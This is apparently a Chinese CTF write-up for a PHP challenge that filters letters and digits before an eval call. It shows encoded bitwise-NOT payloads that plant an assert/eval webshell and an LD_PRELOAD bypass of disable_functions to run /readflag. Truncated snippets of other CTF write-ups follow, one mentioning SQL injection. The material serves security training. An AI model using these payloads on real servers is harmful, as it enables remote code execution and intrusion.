訪問頁面,上原始碼;
<?php
error_reporting(0);
if(isset($_get['code']))
if(preg_match("/[a-za-z0-9]+/",$code))
@eval($code);
}else
?>
像這種過濾了英文本元和數字字元的立馬想到編碼繞過;
如果使用urlencode的話,不編碼英文本元,所以想到可以取反;
字元先取反,但是基本都是無法列印出來的字元,所以urlencode一下;
先看看phpinfo();
<?php
$hack = "phpinfo";
echo urlencode(~$hack);
得到
%8f%97%8f%96%91%99%90
在賦值給code的時候再取反,相當於沒有取反;
?code=(~%8f%97%8f%96%91%99%90)();
別忘記分號了;
assert(eval($_post["klose"]));
要將它urlencode並取反的話,需要先作字串賦值給變數,然後最後引入這個變數取反;
完整payload
<?php
$a='assert';
echo urlencode(~$a)."
"; $b='(eval($_post["klose"]))';
echo urlencode(~$b)."
"; ?>
得到
%9e%8c%8c%9a%8d%8b
%d7%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%dd%94%93%90%8c%9a%dd%a2%d6%d6
給code賦值
?code=(~%9e%8c%8c%9a%8d%8b)(~%d7%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%dd%94%93%90%8c%9a%dd%a2%d6%d6);
然後用蟻劍連線;
發現根目錄裡有個空的flag檔案,還有乙個readflag可執行檔案;
終端執行以下,但是發現這是個空shell;
到這裡我就不會做了,只知道需要繞過禁用的函式去拿flag,但是不知道如何動手…
面向csdn程式設計,看了別人的文章,學習一下;
這個方法是利用linux提供的ld_preload環境變數來劫持共享so,然後在啟動子程序的時候,新的子程序會載入惡意的so拓展,接著就可以在so裡面定義同名函式,即可劫持api呼叫,成功rce;
意思就是繞過了disabled_functions,仍然可以繼續使用被禁用的函式;
參考鏈結
可以說還是很有用的;
github上的exp
上傳bypass_disablefunc_x64.so和bypass_disablefunc.php到/var/temp;
把php檔案改個名,方便一點;
重新構造payload
?code=$[_]($[_]);&_=assert&_=eval($_post['a'])
再加上對應的getshell檔案和繞過exploit檔案即為:
?code=$[_]($[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
上傳得到flag;
極客大挑戰 2019 PHP
開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...
極客大挑戰 2019 HardSQL wp
有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...
極客大挑戰 2019 PHP
剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...